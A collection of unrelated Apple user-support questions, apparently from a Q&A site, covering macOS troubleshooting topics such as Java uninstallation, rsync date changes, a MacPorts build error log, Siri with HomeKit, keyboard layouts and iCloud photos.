I am guessing that apps handling their own window-drawing rather calling upon Apple's usual drawing libraries is the cause of the bug.
Is there any trick to getting the contents of these apps’ windows to appear correctly?
Bad
Brave 0.18.14 browser

Firefox 54.0.1

Good
In contrast, some apps including some web browsers draw properly.
Safari 10.1.2 browser

Vivaldi 1.6.689.40 browser


texts: What is "iTunes Device Support Upgrade"?

texts:
What I know:

Component of "Software Update" (and is visible when you open the list).
Requires reboot
108 MB (for Sierra)
is hidden in the "Updates Installed in Last 30 days list
(probably) is not part of the auto-installing "Install system data and security updates" track

First appeared with "macOS Mojave 10.14.5, Security Update 2019-003 High Sierra, Security Update 2019-003 Sierra".

Tried Apple sites and some basic googling.


texts:
I have several Java installations on my machine:

$ /usr/libexec/java_home -V
Matching Java Virtual Machines (6):
    1.6.0_24-b07-334, x86_64: "Java SE 6"   /Library/Java/JavaVirtualMachines/1.6.0_24-b07-334.jdk/Contents/Home
    1.6.0_24-b07-334, i386:   "Java SE 6"   /Library/Java/JavaVirtualMachines/1.6.0_24-b07-334.jdk/Contents/Home
    1.6.0_24-b07-334, x86_64: "Java SE 6"   /System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home
    1.6.0_24-b07-334, i386:   "Java SE 6"   /System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home
    1.6.0_22-b04-307, x86_64: "Java SE 6"   /Library/Java/JavaVirtualMachines/1.6.0_22-b04-307.jdk/Contents/Home
    1.6.0_22-b04-307, i386:   "Java SE 6"   /Library/Java/JavaVirtualMachines/1.6.0_22-b04-307.jdk/Contents/Home

I don't need them all. For example I don't need update 22 version. How can I uninstall it cleanly?

I would also like to get rid of those 'duplicate' JVMs, but I need to have sources around, since I do lot of Java developement, so that may not be possible. Why are there so many of them anyway?


texts:
I have multiple versions of Microsoft Office installed because who knows when I'll have to open some old version of a file that may not work well in newest Office.

I want csv files to open in the most recent version of excel (~16.12) by default. I press cmd+i with the csv file selected and i tell it to open with the newest version of excel and then i choose Change All... I get a confirmation dialog:

Are you sure you want to change all similar documents to open with the application “Microsoft Excel.app”?

This change will apply to all documents with extension “.csv”.

So I confirm (Continue).

Then promptly the info window shows the previous/wrong version of Excel.

update: this seems to be resolved, but I honestly have no idea why. Possibly Microsoft or MacOS updates? Possibly (more likely?) the restarts those updates caused?


texts: What is a reasonable workflow to copy Android photos to Photos?

texts:
My workflow from an SLR and a small camera is simple. Once a month, I take the SD card out, insert it in my Macbook, and Photos can (usually) correctly detect the new photos. I copy them to the Macbook, back up to Time Machine. Once every three or so months, I wipe out the SD card.

It's seamless enough.

I am having trouble finding a reasonable workflow for my Android phone. The photos are synced with both Google Drive and with Dropbox. I'd like a workflow that uses either of the two, ideally one that wipes out my cloud-based photos as well as my Android-based photos, and detects and copies the new photos only.

Can you suggest such a workflow?

Update

In theory I could 1. copy the file from Google Drive to my Macbook and 2. then figure out how to convince Photos to copy the new pictures from a folder rather than from an SD card.

The first step can in theory be done by selecting the photos since my last copy (to be figured manually), then select the download option from the context menu.

Unfortunately this complains that

"zip failed: no files to include"


texts: Siri on MacOS does not work with HomeKit

texts:
I have a number of Philips Hue lights which I can control from my iPhone using the Hue & Home apps as well as Siri. As long as I am connected to the wifi everything works well.

After updating to Mac OS Mojave I now have the Home app on my iMac which has a wired ethernet connection to the same Hub as the Philips Hue bridge. I also have the same Home app configuration on my Macbook as well.

Using the Home app on the iMac & Macbook I can reliably control all of the Hue lights.

Unfortunately Control of the lights using Siri on the iMac and Macbook is very unreliable. Most of the time Siri responds with something like "You have not setup any devices in you Home" even though yet they exist in the Home app.

Very occaisionally Siri will control a light but that is very rare.

Has anyone else experienced this? Is there a hidden confoguration option to ensure that Siri has the same access as the Home app?

Am I expecting too much from Siri on iMac/Macbook and should I just accept that Apple will fix this in a few years time?


texts: How much data is used during factory reset recovery mode for the Mac OS?

texts:
I boot my Mac air into recovery mode over internet command+option+R (recovery drive has been deleted/overwritten).

I am using mobile tethering to recover this device, just enquiring as to how much data will be used during this process if anyone can advise? I am unsure of the size of the recovery image it wants to download.

p.s this is my only available recovery method, there are no ethernet ports on the laptop and it will not pick up our business Wi-Fi (we use WPA2-Enterprise which is supported but on a Cisco Meraki account basis, so it's not a case of SSID / Pass).


texts: Why would running rsync cause the Date Modified value on a particular folder on the source volume to change?

texts:
I ran rsync last night to backup some of my drive. When I woke up, the source folder (which is sorted by Date Modified, descending) had a particular sub-folder at the top which I haven't touched in months. I opened it and there was one sub-folder within that also had an updated Date Modified value. And another and another and then in that folder there were more folders, but none of those had an updated Date Modified value, so that's where the trail went cold. Could rsync have modified or deleted a file or a hidden file? And why this folder only?

Mac OS Sierra 10.12.6 (16G1815)

This was my command line entry:

rsync -vrlHpogt /Volumes/Macintosh\ HD/Stuff /Volumes/My\ Backup\ sparseimage/


texts:
If the new 2011 iMac is equiped with SSD and HDD at the same time, is HDD running (so fan on) even at times when HDD not used for a longer period?

Context: I need the computer to be really silent (bedroom), and only when exceptionally accessing e.g. video files to use HDD. So if HDD would run all the time, I would rather go for an option of sole SSD in iMac and external HDD which can be unplugged. Otherwise I would go for both in iMac.


texts: Run script as root whenever any user logs in

texts: What's the best way to run a script with root privileges whenever any user logs in? It should run in the background without prompting the user for a password.


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I have an old Mac that I want to sell. I have the 2 instalation disks but don't know what to do with them.

OS X version 10.5.8
Processor: 2.8 GHz Intel Core 2 Duo
Startup Disk: Macintosh HD


texts: Apple ID has been disable , how to enable and reset password?

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I'm struggling on how to enable Apple ID and reset password. I open itune and try to sign in and it pops up this message:

Whne i click Reset, it leads to a website where i put my apple id (email address which is my gmail) then click Next then there're 2 options which i chose to send to my email.
I've tried that so many times but never recieved any email from apple for me to reset the password.

Anyone please help! I've check the spams and everything but nothing at all from apple.


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My friend's Mac has lost its dock.

It boots up, apparently fine, she logs in, but is then confronted with a blank screen - as in a desktop background image but no desktop interaction elements.

The dock does not appear, nor does the bar at the top. The problem is similar to Windows when Explorer crashes and you get no OS chrome.

By randomly pressing keys we've been able to make iTunes appear and from there we can get into settings etc. but still no Dock.

Spotlight doesn't work either!

Why might this have happened and how do we fix it?

Specs: MacBook7,1, Mac OS X 10.6.8 (10K549), Darwin 10.8.0.

It would be useful know if there are any default keyboard shortcuts that handle things like 'launch Finder' or 'open Applications folder' - this would be extremely useful as it would make the Mac usable should this happen again.


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I was thinking of installing vsftp through homebrew but found that OS X has its own version of ftpd. So I started to use this server and works fine, except for some security issues. I'm looking for the log file and cannot find it. I've been looking for it on the web and there is a way to configure the logging but just for OS X Panther.

Do you know were this file is located or how to configure ftp for handling log files?


texts: What orthodox file manager for OS X could I use?

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I'm looking for a graphical file manager fro OS X, for console Midnight Commander is ok.

I need two panels, function keys operations and preferably FTP and SCP support.

Also, it would be great to be free.


texts: External Display is not behaving as expected

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When i plug my cable into my macbook pro it will show the default home screen on the tv but it doesn't show anything from my desktop.

I can swipe over and see one thing from my dashboard but nothing else. What do i need to do to get to work?


texts: “Failed to configure php55-mysql” with MacPorts and Percona 5.5

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I'm getting this error trying to install or update Percona using MacPorts on Max OS X (Mavericks 10.9 in my case)

--->  Configuring php55-mysql
Error: Failed to configure php55-mysql, consult /opt/local/var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_lang_php/php55-mysql/work/php-5.5.15/ext/mysql/config.log
Error: org.macports.configure for port php55-mysql returned: configure failure: command execution failed
Please see the log file for port php55-mysql for details:
    /opt/local/var/macports/logs/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_lang_php/php55-mysql/main.log
Error: Unable to upgrade port: 1
To report a bug, follow the instructions in the guide:
    http://guide.macports.org/#project.tickets

UPDATE (2014-11-11): @Mark asked what was in the main.log. I did not save it originally but I just had the exact same problem on a different machine and here is what was in the main.log file:

[stuff above snipped]

:info:configure checking for the location of libz... /opt/local
:info:configure configure: error: Cannot find libmysqlclient under /opt/local/var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_lang_php/php54-mysql/work/percona.
:info:configure Note that the MySQL client library is not bundled anymore!
:info:configure Command failed:  cd "/opt/local/var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_lang_php/php54-mysql/work/php-5.4.34/ext/mysql" && ./configure --prefix=/opt/local --with-php-config=/opt/local/bin/php-config54 --with-zlib-dir=/opt/local --with-mysql=/opt/local/var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_lang_php/php54-mysql/work/percona --with-mysqli=/opt/local/lib/percona/bin/mysql_config --with-pdo-mysql=/opt/local/lib/percona/bin/mysql_config --with-mysql-sock=/opt/local/var/run/percona/mysqld.sock
:info:configure Exit code: 1
:error:configure Failed to configure php54-mysql, consult /opt/local/var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_lang_php/php54-mysql/work/php-5.4.34/ext/mysql/config.log
:error:configure org.macports.configure for port php54-mysql returned: configure failure: command execution failed
:debug:configure Error code: NONE
:debug:configure Backtrace: configure failure: command execution failed
    while executing
"proc-org.macports.configure-configure-0 org.macports.configure"
    ("eval" body line 1)
    invoked from within
"eval $procedure $targetname"
:info:configure Warning: targets not executed for php54-mysql: org.macports.install org.macports.configure org.macports.build org.macports.destroot
:notice:configure Please see the log file for port php54-mysql for details:


texts: Xcode 4: key binding for "Focus code blocks on hover"

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Xcode 4 has a Focus code blocks on hover setting in Preferences > Text Editing.

When you hover the mouse on a Code folding ribbon, the mentioned setting has the effect shown in image below.

Also, the effect stays put when you navigate with the keyboard (even when you move focus to Assistant editor, Navigator, Utilities, ... but not to, say, Organizer or Version editor).

How could you add a key binding for this?


texts: Can the onscreen iPad keyboard move the cursor?

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One of the oddities of the iPad is that when I activate the screen-based touch keyboard, there are no arrow keys. There are arrow keys on a physical Apple keyboard, but no arrow keys on the touchscreen keyboard. Am I missing something, or some shortcut?

Without arrow keys I end up fumbling around trying to touch with my finger the exact place in the text where the cursor should go, but since my finger is the diameter of 2.5 lines of text, this is a trial and error process.


texts: Getting used to either US or EN International keyboard layout

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I will buy a new Macbook soon. I am german and used to the german keyboard layout:

Since I do alot of coding and many special characters are placed inconveniently on the german keyboard (e.g. { and }) I will purchase either a US or a EN International keyboard.

I am tempted to buy the standard US one, because I like to believe that this is the way the ANSI has conceived the keyboard layout to be. However, I am concerned that I will not get used to the small return key, and will accidently press \ often.

What can you recommend me? Do you think I will get used to the small return quickly?


texts: Would signing out of iCloud delete my locally stored photos?

texts: I am trying to sign into my iCloud on my iPhone 6 and even with the correct password it is not letting me through but keeps asking with a prompt. I have local photos that I do not want deleted and need to pull off the device. If I were to sign out of my iCloud account will it delete the photos that are stored locally?